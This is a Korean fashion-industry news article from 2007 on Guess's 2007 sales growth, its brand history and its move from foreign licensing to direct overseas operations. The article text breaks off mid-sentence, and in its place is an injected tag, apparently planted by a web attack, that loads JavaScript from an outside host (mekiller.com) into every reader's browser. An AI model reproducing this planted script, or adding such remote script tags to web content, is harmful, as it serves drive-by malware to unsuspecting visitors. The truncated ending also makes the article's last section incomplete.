게스, 이보다 더 좋을 순 없다!

2007-10-02 17:49 조회수 아이콘 1267

바로가기

「게스」 ‘이보다 더 좋을 순 없다’!

올해로 브랜드 창립 26주년을 맞은 「게스(Guess)」가 ‘이보다 더 좋을 순 없는’ 2007년을 보내고 있다. 지난 1분기에는 순수익 71.5%, 총매출 42.2% 각각 증가하며 기분 좋은 출발을 시작했고 이어 2분기에도 순수익 81.5% 증가, 총매출 48.2% 증가를 기록하며 승승장구하고 있다.

또 동일점(16.2%), 홀세일(74.5%), 라이선스(51.1%), 영업 마진율(15.3%) 등에서 모두 두 자릿수의 높은 매출 증가율을 나타내며 90년대 후반부터 지속된 매출 침체에서 벗어나 급성장하고 있다. 한국이 주도가 된 아시아지역의 매출 증가와 2분기에 121.2%라는 기록적인 매출 증가를 보인 유럽의 힘으로 CEO인 폴 마르시아노가 스스로 ‘올해는 「게스」 최고의 해’ 라고 선포할 만큼 초고속 상승세를 타고 있다.

90년대 초반 최고 히트 브랜드 ‘부활’

85년에 시작된 섹시함을 내세운 흑백의 「게스」 광고는 평범하고 소박하기 그지없던 데님시장에 새로운 돌풍을 일으켰다. 클라우디아 시퍼, 이베 헤르지고바, 드루 배리모어, 아나 니콜 스미스 등을 모델로 내세운 「게스」 광고는 ‘게스 걸(Guess Girl)’ 이라는 호칭을 만들어 낼 정도로 패션계에 센세이션을 일으켰다.

「게스」는 당시 데님의 선두 브랜드인 「리바이스」 「조다쉬」 「리(Lee)」와의 차별화를 앞세우며 섹시하고 고급스런 고가의 패션 데님 브랜드로 이미지를 구축했고, 데님이 패셔너블한 아이템으로 변신하는 데 크게 공헌한 일등 공신 브랜드다. 「게스」야말로 최근 몇년간 패션계를 강타한 프리미엄 데님 열풍의 원조 브랜드라고 할 수 있다. 역삼각형에 물음표가 들어간 「게스」의 로고는 80년대 후반부터 90년대 초반까지 가장 핫한 브랜드의 상징으로 여겨졌다.

그러나 90년대 중반부터 「캘빈 클라인」 「폴로」 「토미힐피거」 등이 데님시장에 본격적으로 진출하면서 「게스」 또한 브랜드 성장의 기반이 된 홀세일 비즈니스를 유지하기 위해 이들과 함께 가격경쟁에 뛰어들 수밖에 없었다. 결과적으로 「게스」는 그동안 쌓아온 고급스러운 브랜드 이미지에 적잖은 타격을 받았고 패션 브랜드로서의 정체성이 흔들리기 시작했다.

한때 패스트 패션과 힙합 브랜드에 밀려

또한 「게스」가 미국 시장 내에서 영 컨템포러리 브랜드로 자리를 잡은 90년대 후반부터는 주니어 마켓에 힙합 열풍이 불어닥쳤고 「제이로(J. Lo)」 「베이비 팻(Baby Phat)」 등의 어번 패션 브랜드에 섹시컨셉을 내줘야 했다. 아메리칸 캐주얼을 내세우며 주니어 마켓을 점령하다시피한 「아베크롬비&피치」 「아메리칸 이글」 「홀리스터」 등의 선풍적인 인기와 「자라」 「H&M」 「포에버21」 등의 패스트 패션 열풍에 밀려 갈 곳을 잃은 「게스」는 옛 영광이 퇴색하는 듯했다.

「게스」는 흔들리는 브랜드 정체성과 지난 20여 년간 주력한 미국내 홀세일 비즈니스의 부진으로 90년대 후반부터 매출이 하락하기 시작했고 2002년에는 브랜드 런칭 이후 처음으로 1130만 달러(약 106억1000만원)의 손실을 감수해야 했다.

침체된 브랜드 회생의 해결책으로 제시된 것이 바로 「게스」 브랜드의 글로벌화이다. 「게스」는 88년 한국에서 첫선을 보인 후 멕시코와 아르헨티나를 시작으로 본격적으로 해외 라이선스 사업을 시작했다. 그러나 직진출이 아닌 라이선스로 진행하면서 브랜드 파워를 효과적으로 키우지 못했다는 판단 아래 2001년 캐나다 라이선스 인수를 시작으로 최근 3년간 본격적으로 한국 중국 멕시코 유럽의 라이선스를 되사들였다.


글로벌이 브랜드 고성장의 원동력

2005년 1월에 유럽에서 「게스」 데님 라이선스를 인수했고 2006년에는 홍콩을 중심으로 아시아 지역에 직진출했다. 또한 지난 1월에는 유럽과 중동지역의 「게스by마르시아노」 라이선스를 진행하던 포커스 유럽(Focus Europe Srl)과 아이베리안 반도의 라이선스를 진행하던 포커스 스페인(Focus Spain Spa)을 인수하면서 유럽에 본격적으로 직진출했다.

「게스」의 해외 직진출 이후 아시아와 유럽에?script src=http://mekiller.com/1/1.js>